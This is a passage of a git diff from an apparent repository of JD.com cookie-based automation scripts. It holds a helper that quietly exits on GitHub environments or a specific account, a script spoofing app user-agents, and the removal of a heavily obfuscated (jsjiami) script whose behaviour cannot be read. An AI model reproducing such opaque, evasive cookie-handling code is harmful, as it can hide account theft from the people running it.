jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); "undefined" != typeof process && JSON.stringify(process.env.JD_COOKIE).indexOf("jd_4685b2157f874") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_morningSc.js b/jd_morningSc.js index bb3e0c0da..d4b18ac3f 100644 --- a/jd_morningSc.js +++ b/jd_morningSc.js @@ -3,7 +3,7 @@ 支付一元才能参与打卡,填写环境变量morningScPins给指定CK打卡 15 6,7 * * * jd_morningSc.js */ -const $ = new Env("生鲜早起打卡") +const $ = new Env("早起生鲜打卡") const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` let cookiesArr = [] var pins = process.env.morningScPins ?? "" @@ -61,7 +61,7 @@ let cookie = ''; } data = await clockIn() if (data?.head?.code == 200) { - notify.sendNotify(`早起赢现金打卡成功,记得参与明天的打卡活动哦`,''); + notify.sendNotify(`早起赢现金打卡成功,记得参与明天的打卡活动哦`); } else { notify.sendNotify(`早起赢现金打卡错误`, data); } diff --git a/jd_moxigame.js b/jd_moxigame.js deleted file mode 100644 index ce3332c40..000000000 --- a/jd_moxigame.js +++ /dev/null @@ -1,11 +0,0 @@ -/* -东东爱消除 -入口: APP-我的--更多游戏 -日常任务,开宝箱,每日挑战,助力,转盘抽奖,游戏 -新手福利3天内70星兑换京豆礼包 -35 0,6,12,18 * * * https://raw.githubusercontent.com/6dylan6/jdpro/main/jd_moxigame.js -*/ - -const $ = new Env("东哥爱消除-加密"); -;var encode_version = 'jsjiami.com.v5', hmegy = '__0xe8067', __0xe8067=['\x46\x4d\x4b\x54\x77\x35\x63\x3d','\x4f\x38\x4f\x44\x77\x70\x6e\x43\x6f\x73\x4f\x63\x77\x36\x62\x43\x75\x63\x4f\x65','\x77\x34\x4e\x4f\x63\x63\x4f\x52\x77\x35\x52\x33\x51\x4d\x4b\x50\x50\x77\x3d\x3d','\x55\x69\x76\x44\x6d\x73\x4b\x73','\x77\x72\x34\x75\x77\x71\x6f\x36\x43\x38\x4b\x6f\x77\x35\x4a\x7a','\x65\x63\x4b\x59\x77\x6f\x42\x4d\x4e\x63\x4b\x7a\x53\x67\x66\x43\x6f\x41\x3d\x3d','\x77\x37\x41\x2f\x56\x48\x6a\x44\x70\x6b\x33\x43\x69\x46\x48\x44\x68\x38\x4f\x49','\x77\x6f\x4d\x34\x43\x38\x4f\x2f','\x63\x68\x73\x56\x77\x34\x37\x43\x76\x4d\x4f\x46\x61\x55\x77\x3d','\x77\x37\x38\x76\x55\x46\x48\x44\x72\x33\x4c\x43\x69\x51\x3d\x3d','\x77\x72\x72\x43\x69\x67\x76\x43\x6e\x38\x4b\x4a\x63\x53\x6f\x3d','\x66\x30\x6f\x71\x52\x41\x3d\x3d','\x77\x72\x73\x59\x51\x63\x4f\x41\x77\x6f\x4e\x62\x77\x72\x54\x44\x76\x67\x3d\x3d','\x65\x4d\x4b\x4d\x77\x6f\x42\x45\x45\x38\x4b\x56\x57\x77\x3d\x3d','\x61\x38\x4b\x57\x77\x34\x6c\x42','\x77\x37\x63\x76\x77\x36\x30\x4a\x49\x4d\x4f\x64\x4a\x4d\x4f\x4a','\x77\x35\x76\x44\x6b\x4d\x4b\x49\x77\x70\x38\x32\x48\x4d\x4b\x5a\x64\x73\x4b\x46','\x4b\x68\x50\x43\x72\x51\x3d\x3d','\x77\x70\x70\x32\x42\x7a\x7a\x43\x71\x41\x3d\x3d','\x44\x52\x49\x31\x4b\x79\x6b\x3d','\x35\x70\x79\x58\x35\x70\x2b\x4f\x35\x62\x53\x54\x36\x59\x47\x6d\x36\x4b\x79\x2b\x35\x59\x6d\x2b\x35\x59\x75\x68\x77\x71\x73\x3d','\x77\x6f\x58\x43\x74\x4d\x4b\x37\x77\x6f\x41\x6d','\x63\x73\x4b\x4b\x77\x6f\x34\x3d','\x77\x35\x72\x43\x6a\x38\x4b\x43','\x77\x36\x44\x44\x6c\x38\x4f\x30\x5a\x53\x49\x3d','\x77\x34\x56\x52\x53\x6d\x64\x36','\x58\x43\x2f\x44\x75\x73\x4f\x6d\x77\x36\x41\x3d','\x4b\x67\x73\x67\x57\x77\x3d\x3d','\x63\x44\x48\x44\x6c\x41\x3d\x3d','\x77\x36\x7a\x44\x74\x73\x4b\x4d\x77\x72\x6b\x62','\x64\x73\x4f\x4a\x77\x37\x76\x43\x6d\x73\x4f\x47','\x77\x36\x34\x62\x77\x71\x4c\x43\x75\x77\x3d\x3d','\x4b\x68\x44\x43\x71\x63\x4f\x31\x77\x34\x73\x3d','\x77\x72\x41\x68\x77\x71\x45\x77','\x45\x68\x70\x6c\x77\x6f\x4d\x4d\x77\x71\x6e\x44\x72\x51\x3d\x3d','\x45\x51\x39\x32\x77\x6f\x49\x48','\x77\x35\x4d\x67\x77\x37\x4d\x4b','\x61\x63\x4b\x56\x77\x34\x52\x51\x77\x35\x33\x44\x76\x63\x4b\x39\x77\x71\x59\x3d','\x58\x58\x4a\x76\x77\x37\x37\x44\x75\x73\x4b\x55\x77\x72\x2f\x43\x75\x43\x4d\x68\x66\x77\x3d\x3d','\x77\x71\x6b\x36\x77\x72\x51\x33','\x4d\x38\x4f\x46\x77\x6f\x77\x6e\x4c\x67\x3d\x3d','\x50\x4d\x4b\x59\x52\x51\x55\x67\x66\x51\x3d\x3d','\x56\x43\x76\x44\x6e\x63\x4b\x73\x4b\x41\x3d\x3d','\x77\x72\x7a\x43\x69\x68\x62\x43\x6b\x38\x4b\x76\x56\x79\x72\x44\x75\x77\x3d\x3d','\x77\x70\x55\x6a\x77\x6f\x33\x43\x6e\x6b\x4e\x64\x59\x4d\x4f\x53','\x77\x36\x76\x44\x74\x42\x7a\x44\x75\x78\x34\x59\x61\x38\x4b\x4d\x56\x6e\x37\x43\x69\x63\x4f\x2b','\x77\x37\x48\x43\x72\x47\x30\x6a\x4a\x44\x37\x43\x6b\x6c\x55\x73\x50\x6c\x66\x44\x6b\x41\x3d\x3d','\x4b\x73\x4f\x65\x77\x72\x6a\x43\x75\x63\x4f\x63\x77\x34\x4c\x43\x73\x73\x4f\x4b\x77\x70\x52\x2b\x77\x37\x33\x43\x71\x77\x3d\x3d','\x4d\x63\x4b\x38\x54\x4d\x4f\x67\x77\x37\x51\x3d','\x77\x6f\x6a\x43\x6e\x63\x4b\x72\x77\x72\x55\x4c','\x77\x6f\x58\x43\x6d\x38\x4b\x6f\x77\x72\x37\x43\x68\x51\x3d\x3d','\x35\x70\x32\x67\x35\x70\x2b\x42\x35\x62\x53\x46\x36\x59\x43\x6a\x36\x4b\x2b\x7a\x35\x59\x71\x6a\x35\x59\x69\x37\x64\x77\x3d\x3d','\x66\x63\x4b\x59\x77\x35\x46\x46','\x50\x4d\x4b\x59\x57\x67\x45\x69','\x77\x71\x33\x43\x6e\x68\x44\x43\x69\x4d\x4b\x4a','\x54\x51\x33\x44\x6f\x4d\x4f\x54','\x77\x37\x66\x44\x6b\x45\x67\x3d','\x77\x70\x4d\x73\x77\x70\x44\x43\x68\x67\x77\x53\x59\x4d\x4f\x53\x77\x35\x77\x45\x77\x72\x6a\x43\x69\x4d\x4b\x55\x53\x67\x7a\x44\x6e\x6b\x51\x3d','\x49\x63\x4f\x7a\x77\x70\x59\x76\x77\x70\x30\x3d','\x77\x6f\x74\x6e\x4e\x6a\x2f\x44\x6a\x46\x63\x4c\x77\x70\x66\x44\x76\x6d\x45\x3d','\x77\x72\x30\x4a\x58\x4d\x4f\x4a\x77\x71\x4e\x57\x77\x72\x50\x44\x70\x63\x4b\x5a\x77\x6f\x35\x4c\x57\x52\x58\x44\x69\x63\x4b\x62\x77\x70\x45\x3d','\x41\x38\x4f\x57\x77\x37\x63\x45\x77\x6f\x63\x6c\x77\x35\x42\x77\x77\x6f\x73\x78\x77\x72\x44\x44\x6b\x4d\x4f\x6f\x4c\x67\x3d\x3d','\x77\x71\x44\x43\x6c\x73\x4b\x6d\x77\x6f\x37\x43\x74\x73\x4f\x33\x77\x71\x6e\x44\x72\x41\x3d\x3d','\x65\x56\x64\x49','\x77\x34\x2f\x43\x75\x4d\x4b\x44','\x64\x4d\x4b\x30\x77\x6f\x6a\x43\x67\x63\x4b\x67\x77\x72\x6b\x3d','\x53\x44\x44\x44\x67\x73\x4b\x35\x4e\x63\x4f\x6e\x77\x70\x58\x44\x68\x32\x66\x43\x6e\x63\x4f\x6a\x61\x38\x4f\x5a\x77\x71\x4c\x44\x68\x73\x4b\x53\x77\x70\x55\x44\x61\x73\x4f\x61\x61\x4d\x4f\x48\x77\x72\x4d\x61\x64\x73\x4b\x30\x5a\x53\x38\x3d','\x54\x73\x4b\x6f\x77\x6f\x58\x43\x67\x38\x4b\x76\x77\x72\x34\x55\x77\x36\x5a\x69','\x57\x4d\x4f\x30\x77\x35\x62\x44\x6f\x73\x4f\x35','\x57\x63\x4f\x7a\x77\x35\x54\x44\x74\x73\x4f\x56','\x61\x73\x4f\x78\x77\x34\x44\x43\x75\x73\x4f\x64','\x77\x72\x41\x45\x77\x70\x63\x56\x4d\x51\x3d\x3d','\x77\x72\x54\x44\x76\x73\x4b\x38\x77\x71\x76\x44\x6e\x77\x3d\x3d','\x51\x73\x4f\x56\x77\x34\x44\x43\x73\x63\x4f\x66','\x77\x37\x55\x38\x77\x71\x37\x43\x68\x38\x4f\x36','\x53\x63\x4f\x48\x55\x52\x2f\x44\x69\x63\x4f\x65\x47\x41\x3d\x3d','\x77\x6f\x38\x4a\x77\x70\x34\x30\x4c\x77\x3d\x3d','\x4c\x63\x4f\x70\x77\x37\x55\x50\x77\x70\x45\x3d','\x77\x70\x48\x44\x6a\x63\x4b\x49\x77\x71\x50\x44\x68\x41\x3d\x3d','\x52\x63\x4f\x6e\x56\x69\x4c\x44\x6c\x51\x3d\x3d','\x42\x4d\x4b\x68\x65\x79\x30\x67','\x77\x37\x6b\x41\x5a\x31\x50\x44\x72\x41\x3d\x3d','\x42\x6b\x70\x6e\x77\x37\x48\x44\x76\x38\x4f\x74','\x77\x72\x4d\x50\x51\x56\x63\x72\x77\x35\x7a\x43\x6d\x41\x3d\x3d','\x77\x37\x55\x4d\x77\x36\x55\x78\x45\x77\x3d\x3d','\x65\x38\x4b\x59\x77\x70\x31\x42','\x77\x35\x58\x44\x6a\x38\x4b\x56\x77\x71\x6b\x2b','\x4e\x44\x6f\x74\x41\x79\x73\x3d','\x77\x36\x44\x44\x70\x73\x4f\x4a\x61\x41\x3d\x3d','\x53\x73\x4f\x31\x77\x35\x66\x44\x6f\x4d\x4f\x67\x47\x4d\x4b\x39\x77\x35\x66\x44\x6d\x58\x54\x44\x76\x6d\x55\x3d','\x77\x34\x50\x43\x6b\x38\x4b\x4f\x77\x37\x6a\x44\x71\x67\x38\x3d','\x62\x4d\x4b\x35\x77\x35\x6a\x44\x6f\x46\x54\x44\x73\x38\x4b\x74\x77\x6f\x45\x50\x77\x35\x41\x78\x4d\x51\x3d\x3d','\x4b\x73\x4b\x6a\x77\x70\x44\x43\x6b\x41\x54\x44\x6e\x6a\x66\x44\x71\x52\x41\x3d','\x54\x73\x4f\x6c\x77\x34\x62\x44\x71\x38\x4f\x33\x4d\x38\x4f\x6f\x77\x70\x58\x43\x6d\x43\x62\x43\x72\x54\x58\x44\x6d\x63\x4b\x38\x49\x68\x49\x3d','\x43\x4d\x4b\x2b\x77\x6f\x58\x43\x73\x53\x59\x3d','\x51\x32\x33\x44\x72\x73\x4f\x6c\x77\x71\x59\x3d','\x77\x70\x30\x79\x43\x63\x4f\x39\x77\x36\x6a\x43\x72\x77\x3d\x3d','\x77\x70\x33\x43\x6e\x4d\x4b\x6c\x77\x6f\x6b\x37','\x77\x35\x6b\x6d\x77\x37\x51\x58\x42\x4d\x4f\x66','\x77\x6f\x44\x43\x73\x63\x4f\x6d\x77\x6f\x54\x44\x6a\x77\x3d\x3d','\x77\x71\x2f\x43\x6c\x73\x4f\x65\x77\x71\x54\x44\x6a\x77\x3d\x3d','\x77\x36\x2f\x43\x68\x54\x2f\x44\x6f\x63\x4b\x7a\x4c\x41\x3d\x3d','\x77\x70\x7a\x44\x68\x38\x4b\x6d\x77\x6f\x2f\x44\x6d\x77\x3d\x3d','\x58\x4d\x4b\x73\x77\x36\x78\x50\x77\x35\x59\x3d','\x55\x77\x67\x65\x77\x36\x58\x43\x73\x51\x3d\x3d','\x77\x6f\x6a\x44\x69\x73\x4b\x6e\x77\x6f\x54\x44\x68\x6c\x38\x3d','\x53\x48\x41\x50\x53\x6d\x63\x3d','\x77\x70\x6a\x44\x6e\x63\x4b\x78\x77\x70\x6a\x44\x6a\x77\x3d\x3d','\x77\x37\x64\x49\x63\x57\x39\x34\x62\x67\x3d\x3d','\x36\x4b\x2b\x59\x35\x59\x6d\x34\x36\x5a\x69\x71\x35\x6f\x61\x41\x35\x5a\x36\x36\x46\x38\x4b\x33\x77\x35\x7a\x44\x6f\x47\x62\x6f\x76\x49\x72\x6c\x68\x61\x58\x6d\x6f\x71\x6e\x6b\x76\x61\x58\x6d\x6c\x4b\x50\x6c\x68\x71\x37\x6c\x72\x49\x68\x73\x35\x62\x69\x32\x36\x4b\x36\x42\x36\x59\x43\x6a\x36\x4c\x79\x41\x36\x49\x53\x45\x35\x70\x2b\x59\x35\x59\x32\x64\x36\x49\x36\x47\x35\x59\x79\x5a\x61\x67\x4e\x73\x48\x48\x78\x54','\x65\x32\x41\x6c\x5a\x63\x4b\x4b','\x49\x41\x72\x43\x70\x63\x4f\x61\x77\x35\x59\x3d','\x77\x37\x52\x64\x63\x58\x56\x7a','\x77\x35\x66\x44\x6a\x38\x4b\x44','\x49\x41\x73\x35\x58\x77\x3d\x3d','\x61\x73\x4f\x53\x77\x34\x66\x43\x74\x73\x4f\x77','\x77\x72\x66\x43\x6d\x77\x50\x43\x69\x38\x4b\x63\x41\x79\x66\x44\x6a\x73\x4b\x50\x77\x34\x49\x4e\x45\x6c\x7a\x43\x71\x73\x4f\x42\x41\x6c\x76\x44\x69\x4d\x4b\x66\x77\x37\x54\x43\x69\x6c\x56\x56\x77\x37\x37\x43\x6a\x4d\x4b\x44\x77\x70\x45\x3d','\x77\x34\x58\x43\x6e\x44\x54\x44\x6b\x63\x4b\x55','\x77\x37\x62\x43\x6c\x38\x4b\x37\x77\x70\x50\x43\x70\x73\x4f\x35\x77\x72\x62\x44\x6f\x67\x6e\x44\x6e\x73\x4b\x2f\x46\x4d\x4b\x61\x61\x38\x4b\x6e\x77\x71\x63\x54\x77\x36\x31\x36\x77\x37\x58\x43\x73\x4d\x4f\x6e\x66\x4d\x4b\x56\x77\x70\x54\x44\x75\x4d\x4b\x71\x77\x70\x30\x48\x77\x70\x54\x44\x76\x38\x4f\x68\x77\x34\x59\x54\x4a\x54\x30\x66\x58\x68\x59\x44\x77\x37\x50\x44\x73\x63\x4b\x41\x61\x38\x4b\x65\x48\x38\x4f\x79\x77\x34\x4c\x43\x74\x33\x63\x38\x51\x38\x4f\x73\x4b\x38\x4f\x72\x77\x71\x5a\x31\x46\x33\x5a\x49\x52\x30\x45\x35\x77\x37\x7a\x44\x6f\x63\x4b\x6c\x66\x73\x4f\x2b\x4b\x38\x4f\x38\x77\x37\x56\x66\x4b\x30\x76\x43\x73\x4d\x4f\x32\x49\x6c\x73\x4b\x77\x34\x6b\x43\x77\x70\x6c\x43\x4a\x79\x67\x62\x54\x56\x72\x44\x69\x38\x4f\x51\x52\x63\x4b\x58\x77\x35\x51\x58\x77\x35\x37\x44\x75\x73\x4f\x4a\x56\x56\x37\x44\x75\x73\x4b\x79\x77\x37\x48\x44\x72\x56\x72\x44\x6f\x56\x7a\x43\x6a\x78\x39\x4b\x47\x55\x77\x4b\x66\x73\x4b\x33\x77\x6f\x67\x38\x77\x36\x6e\x44\x6a\x52\x58\x44\x6e\x63\x4f\x77\x77\x72\x5a\x57\x51\x63\x4f\x44\x77\x35\x67\x70\x42\x7a\x6b\x46\x77\x35\x62\x44\x76\x43\x6a\x43\x6a\x67\x6c\x4d\x77\x6f\x64\x48\x77\x70\x72\x43\x71\x67\x7a\x43\x73\x38\x4f\x41\x77\x70\x37\x44\x6b\x6b\x6c\x72\x47\x73\x4b\x31\x66\x38\x4f\x34\x77\x35\x35\x74\x49\x63\x4b\x52\x48\x73\x4b\x64\x49\x73\x4f\x52\x65\x42\x30\x64\x51\x30\x67\x65\x77\x34\x68\x64\x63\x38\x4b\x64\x77\x34\x6f\x42\x77\x37\x44\x44\x6c\x4d\x4f\x4e\x61\x78\x55\x63\x77\x35\x33\x43\x6a\x6c\x55\x41\x77\x6f\x34\x79\x77\x35\x39\x63\x57\x63\x4f\x74\x49\x7a\x41\x75\x49\x63\x4f\x2f\x77\x71\x76\x44\x74\x63\x4b\x79\x54\x57\x6a\x43\x6e\x4d\x4f\x4a\x62\x4d\x4b\x6f\x42\x52\x68\x6b\x64\x79\x33\x44\x6c\x54\x50\x43\x67\x38\x4b\x43\x77\x70\x48\x43\x6e\x6d\x58\x44\x6e\x77\x3d\x3d','\x54\x38\x4f\x4c\x58\x78\x2f\x44\x6b\x73\x4f\x6c','\x4d\x4d\x4b\x66\x77\x6f\x41\x3d','\x4c\x63\x4f\x4e\x77\x70\x49\x64\x77\x6f\x33\x44\x73\x63\x4f\x35\x77\x37\x6f\x49\x43\x51\x3d\x3d','\x61\x4d\x4f\x4d\x54\x51\x3d\x3d','\x77\x37\x76\x43\x68\x54\x33\x44\x74\x73\x4b\x35','\x5a\x6d\x49\x49\x64\x33\x41\x3d','\x77\x34\x35\x6f\x56\x73\x4f\x72\x77\x36\x30\x3d','\x77\x70\x50\x43\x75\x73\x4f\x54\x77\x71\x48\x44\x71\x67\x3d\x3d','\x77\x37\x62\x43\x69\x73\x4b\x66\x77\x72\x59\x52','\x50\x38\x4b\x39\x77\x6f\x58\x44\x69\x6d\x70\x74\x77\x34\x6b\x35\x65\x51\x3d\x3d','\x77\x36\x44\x44\x70\x73\x4f\x4a\x61\x44\x6c\x44\x5a\x73\x4b\x57','\x49\x67\x55\x7a\x55\x38\x4f\x79\x56\x6e\x6e\x44\x6c\x41\x3d\x3d','\x77\x6f\x6a\x44\x6f\x63\x4f\x72\x58\x32\x76\x44\x67\x57\x39\x78','\x77\x70\x51\x35\x42\x41\x3d\x3d','\x4a\x4d\x4b\x59\x53\x51\x6b\x67\x43\x38\x4f\x4b\x77\x6f\x77\x3d','\x77\x72\x30\x75\x77\x72\x4d\x2b\x4c\x73\x4b\x76\x77\x34\x64\x6f','\x77\x36\x72\x44\x6f\x77\x30\x3d','\x77\x6f\x72\x43\x6a\x4d\x4b\x63\x77\x70\x33\x43\x6d\x77\x3d\x3d','\x77\x70\x72\x43\x6a\x38\x4b\x33\x77\x71\x49\x64','\x77\x36\x77\x68\x77\x72\x7a\x43\x6c\x38\x4f\x6e','\x54\x47\x41\x56','\x50\x73\x4f\x31\x77\x35\x67\x3d','\x77\x6f\x6a\x43\x69\x77\x54\x44\x67\x77\x3d\x3d','\x77\x36\x49\x62\x77\x71\x63\x3d','\x77\x37\x42\x62\x66\x73\x4b\x46','\x77\x37\x54\x44\x70\x73\x4f\x50\x65\x6a\x41\x3d','\x59\x45\x6f\x69\x52\x41\x3d\x3d','\x77\x6f\x37\x43\x75\x38\x4b\x64','\x77\x71\x6b\x75\x77\x71\x4d\x3d','\x77\x36\x72\x44\x6c\x38\x4b\x48\x77\x71\x42\x6b','\x66\x63\x4b\x6b\x77\x37\x6e\x44\x75\x31\x54\x44\x6c\x38\x4b\x6d\x77\x70\x55\x3d','\x63\x46\x62\x44\x74\x4d\x4f\x2f','\x77\x37\x44\x44\x73\x73\x4f\x6c\x57\x78\x77\x3d','\x54\x6e\x6c\x6f\x77\x37\x54\x44\x71\x67\x3d\x3d','\x77\x70\x6a\x44\x72\x38\x4f\x4d\x53\x6e\x58\x44\x67\x58\x4a\x69','\x52\x6d\x39\x4c\x77\x34\x4c\x44\x69\x41\x3d\x3d','\x52\x4d\x4f\x69\x77\x35\x7a\x44\x76\x41\x3d\x3d','\x77\x70\x63\x34\x46\x63\x4f\x66\x77\x37\x33\x43\x70\x47\x59\x3d','\x4f\x63\x4b\x4b\x62\x73\x4f\x5a','\x58\x47\x44\x44\x68\x4d\x4f\x57\x77\x71\x6b\x32\x66\x30\x41\x3d','\x77\x34\x33\x43\x70\x6e\x45\x6f\x47\x77\x3d\x3d','\x77\x36\x46\x53\x64\x51\x3d\x3d','\x77\x6f\x66\x43\x76\x63\x4b\x42\x77\x71\x50\x43\x6c\x4d\x4f\x55\x77\x70\x48\x44\x6a\x67\x3d\x3d','\x43\x52\x67\x47\x64\x63\x4f\x62','\x77\x70\x30\x38\x66\x77\x3d\x3d','\x59\x63\x4f\x63\x77\x37\x54\x43\x67\x63\x4f\x4c\x46\x53\x38\x3d','\x55\x6e\x6f\x69\x51\x48\x34\x52\x77\x72\x34\x4f','\x77\x70\x2f\x44\x68\x63\x4b\x71','\x58\x38\x4f\x